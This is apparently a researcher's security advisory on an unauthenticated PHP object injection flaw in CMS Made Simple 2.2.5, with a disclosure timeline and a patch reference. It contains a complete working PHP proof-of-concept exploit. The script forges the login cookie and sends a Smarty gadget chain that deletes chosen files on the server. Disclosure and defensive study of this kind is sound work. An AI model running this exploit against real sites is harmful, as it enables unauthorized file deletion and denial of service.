Information
Name: | CMS Made Simple 2.2.5 (Wawa) |
---|---|
Homepage: | https://www.cmsmadesimple.org/ |
Vulnerability: | PHP object injection |
Prerequisites: | knowledge about installation environment |
Severity: | medium |
CVE: | NA |
Description
CMS Made Simple v2.2.5 (Wawa) is vulnerable to PHP object injection. This is exploitable by unauthenticated users if they manage to guess or find the installation path of the application. Successful exploitation results in restricted code execution (e.g ability to delete files) on the server.
Proof of Concept
Vulnerability lies in the unserialize()
call in the CMSMS\LoginOperations
class. This method is called every time when information about authenticated user is required.
93<?php
94
95protected function _get_data()
96{
97 if( !empty($this->_data) ) return $this->_data;
98
99 // using session, and-or cookie data see if we are authenticated
100 $private_data = null;
101 if( isset($_SESSION[$this->_loginkey]) ) {
102 $private_data = $_SESSION[$this->_loginkey];
103 }
104 else {
105 if( isset($_COOKIE[$this->_loginkey]) ) $private_data = $_SESSION[$this->_loginkey] = $_COOKIE[$this->_loginkey];
106 }
107
108 if( !$private_data ) return;
109 $parts = explode('::',$private_data,2);
110 if( count($parts) != 2 ) return;
111
112 $tmp = [ md5(__FILE__),\cms_utils::get_real_ip(),$_SERVER['HTTP_USER_AGENT'].CMS_VERSION ];
113 $salt = sha1(serialize($tmp));
114 if( sha1( $parts[1].$salt ) != $parts[0] ) return;
115 $private_data = unserialize( base64_decode( $parts[1]) );
116
117 ...
118}
We can see that if the current session doesn't contain the $this->_loginkey
and the request contains a specific cookie with that name, then it is used to instead to authenticate the user. The $private_data
is then split in two and first part is checked against a recomputed SHA1 value. When these values are equal, then the application uses the second part as a unserialize()
argument. When we analyze an authenticated user's cookie, then we can see the data that is being deserialized.
1GET /cmsms/ HTTP/1.1
2Host: victim.site
3User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5Accept-Language: en,en-US;q=0.7,et;q=0.3
6Accept-Encoding: gzip, deflate
7Referer: http://victim.site/
8Cookie: b8a7dcad3dec9c3621e9a78689f27a0f=8cc4381b7dd93b5b481537d083b11d986babb56f%3A%3AYTo1OntzOjM6InVpZCI7aToxO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6NzoiZWZmX3VpZCI7TjtzOjEyOiJlZmZfdXNlcm5hbWUiO047czo1OiJja3N1bSI7czo0MDoiYTZhYTg4Yzc1YTFmYTVlOTgzOTk0OTVlOTA1OWI5YThmNjMzMGI3YSI7fQ%3D%3D; _sk_=51959b5d2f729fab497; CMSSESSIDce7c0ced356e=pn8p53tl15r6r7g6qba3sk8re1
9Connection: close
The cookie name b8a7dcad3dec9c3621e9a78689f27a0f
is same as the $this->_loginkey
. Cookie value contains two values concatenated with ::
as seen in the _get_data()
. First part is SHA1 hash to prevent modifications to the cookie and second part is base64 encoded data itself.
18cc4381b7dd93b5b481537d083b11d986babb56f::YTo1OntzOjM6InVpZCI7aToxO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6NzoiZWZmX3VpZCI7TjtzOjEyOiJlZmZfdXNlcm5hbWUiO047czo1OiJja3N1bSI7czo0MDoiYTZhYTg4Yzc1YTFmYTVlOTgzOTk0OTVlOTA1OWI5YThmNjMzMGI3YSI7fQ==
After base64 decoding the second part we can see the serialized user data.
1a:5:{s:3:"uid";i:1;s:8:"username";s:5:"admin";s:7:"eff_uid";N;s:12:"eff_username";N;s:5:"cksum";s:40:"a6aa88c75a1fa5e98399495e9059b9a8f6330b7a";}
To exploit this vulnerability we need to be able to forge a cookies with our payload. This means that we need to know the valid cookie name and how the SHA1 hash is calculated. Fortunately most of the values are static and can be easily acquired by reading the source code.
First, we need to generate the cookie name, a.k.a the $this->_loginkey
. We can see from the LoginOperations
class that it is initialized when the class is constructed:
1<?php
2
3namespace CMSMS;
4
5final class LoginOperations
6{
7 private static $_instance;
8 private $_loginkey;
9 private $_data;
10
11 protected function __construct()
12 {
13 $this->_loginkey = md5(__FILE__.__CLASS__.CMS_VERSION);
14 }
15
16 ...
17}
Where specific values used in this example are shown in the following example block. Please note, that only the __FILE__
parameter is partially unknown to the attacker and the rest are static or easily determined. Attacker can guess or leak the specific file path using other vulnerabilities.
1__FILE__: /media/sf_Shared/cmsms/lib/classes/internal/class.LoginOperations.php
2__CLASS__: CMSMS\LoginOperations
3CMS_VERSION: 2.2.5
For now, lets assume that we have a specific payload and let's continue forging a valid cookie. We saw that the cookie value is base64 encoded and concatenated with a SHA1 hash to prevent modification. Let's take a closer look at the _get_data()
method.
1<?php
2
3protected function _get_data()
4{
5 ...
6
7 $tmp = [ md5(__FILE__),\cms_utils::get_real_ip(),$_SERVER['HTTP_USER_AGENT'].CMS_VERSION ];
8 $salt = sha1(serialize($tmp));
9 if( sha1( $parts[1].$salt ) != $parts[0] ) return;
10 $private_data = unserialize( base64_decode( $parts[1]) );
11
12 ...
13}
SHA1 is calculated by concatenating the data ($parts[1]
) with a salt, which in turn is a serialize PHP array containing several values. The \cms_utils::get_real_ip()
function returns the IP address of the client. This means that all elements are known or controlled by us as an attacker and we can recompute the salt used for verifying the integrity of the cookie value.
Now that we know how to forge cookies, we need to construct our payload. After unserialize()
call, the class specified in the payload is initialized and any PHP magic methods are called. After some brief analyzes of the source code, I have found a method call chain to delete files on the server. The method call chain starts with the __destruct()
in the Smarty_Internal_Template
class:
1<?php
2
3public function __destruct()
4{
5 if ($this->smarty->cache_locking && isset($this->cached) && $this->cached->is_locked) {
6 $this->cached->handler->releaseLock($this->smarty, $this->cached);
7 }
8}
Method calls a releaseLock()
on the $this->cached->handler
object and passes a $this->cached
parameter. It is implemented by Smarty_Internal_CacheResource_File
class.
1<?php
2
3public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached)
4{
5 $cached->is_locked = false;
6 @unlink($cached->lock_id);
7}
The $cached->lock_id
parameter is used as an argument to unlink()
call. Following proof of concept code demonstrates the full attack:
1<?php
2
3class Smarty {
4 public $cache_locking = true;
5}
6
7class Smarty_Template_Cached {
8 public $is_locked = true;
9}
10
11class Smarty_Internal_CacheResource_File {}
12class Smarty_Internal_Template {}
13
14function get_salt($file, $ip, $ua, $CMS_VERSION) {
15 return sha1(serialize([md5($file), $ip, $ua.$CMS_VERSION]));
16}
17
18function add_integrity_check($data, $salt) {
19 return sha1( $data.$salt ).'::'.$data;
20}
21
22function get_cookie_name($file, $class, $CMS_VERSION) {
23 return md5($file.$class.$CMS_VERSION);
24}
25
26function encode($obj) {
27 return base64_encode(serialize($obj));
28}
29
30function build_poi_chain($file_to_delete) {
31 # Vulnerable unerialize():
32 # cmsms/lib/classes/internal/class.LoginOperations.php:115
33
34 $obj = new Smarty_Internal_Template();
35 $obj->smarty = new Smarty();
36 $smarty_template_cached = new Smarty_Template_Cached();
37 $smarty_template_cached->lock_id = $file_to_delete;
38 $smarty_template_cached->handler = new Smarty_Internal_CacheResource_File();
39 $obj->cached = $smarty_template_cached;
40
41 return $obj;
42}
43
44function http($config) {
45 $ch = curl_init($config['url']);
46 curl_setopt($ch, CURLOPT_COOKIE, $config['cookies']);
47 curl_setopt($ch, CURLOPT_PROXY, $config['proxy']);
48 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
49 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
50 curl_setopt($ch, CURLOPT_HEADER, false);
51 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
52 curl_setopt($ch, CURLOPT_USERAGENT, $config['useragent']);
53
54 return curl_exec($ch);
55}
56
57function get_config($url, $cookie, $ua, $proxy) {
58 return [
59 'url' => $url,
60 'cookies' => $cookie,
61 'proxy' => $proxy,
62 'useragent' => $ua,
63 ];
64}
65
66# Target CMSMS installation
67$url = 'http://victim.site/cmsms/';
68$proxy = '127.1:8080'; # for debugging
69$ua = 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0';
70
71$root = '/media/sf_Shared/cmsms'; # Installation dir
72$file = "$root/lib/classes/internal/class.LoginOperations.php";
73$class = 'CMSMS\LoginOperations';
74$CMS_VERSION = '2.2.5';
75$ip = '192.168.56.1'; # attacker's public ip
76
77$file_to_delete = '/tmp/target.txt';
78
79$salt = get_salt($file, $ip, $ua, $CMS_VERSION);
80$chain = build_poi_chain($file_to_delete);
81$payload = encode($chain);
82
83$cookie = get_cookie_name($file, $class, $CMS_VERSION);
84$cookie_value = add_integrity_check($payload, $salt);
85$cookie = "$cookie=$cookie_value";
86
87echo $cookie, PHP_EOL;
88
89http(get_config($url, $cookie, $ua, $proxy));
Impact
Unauthenticated attacker can delete files on the server resulting in denial of service or loss of integrity.
Conclusion
Insufficient randomness in generating the salt allows the attacker to forge valid cookies. This in turn allows for code execution resulting in ability to delete files on the server.
New release has been made available to mitigate this issue:
- CMSMS 2.2.7 - Skookumchuck https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=78042
References
- New release announcement
- https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=78042
Timeline
- 10.02.2018 | me | vulnerability discovered
- 13.02.2018 | me > developer | contacted the developer; no response
- 21.02.2018 | me > developer | contacted again;
- 22.02.2018 | me > developer | send the PoC
- 22.02.2018 | developer > me | responded with a preliminary schedule for the patch
- 24.02.2018 | me > DWF | CVE request
- 10.03.2018 | developer > public | new patched version released
- 13.03.2018 | DWF > me | requested for additional details
- 19.03.2018 | me > DWF | send additional details
- 24.03.2018 | me > public | published details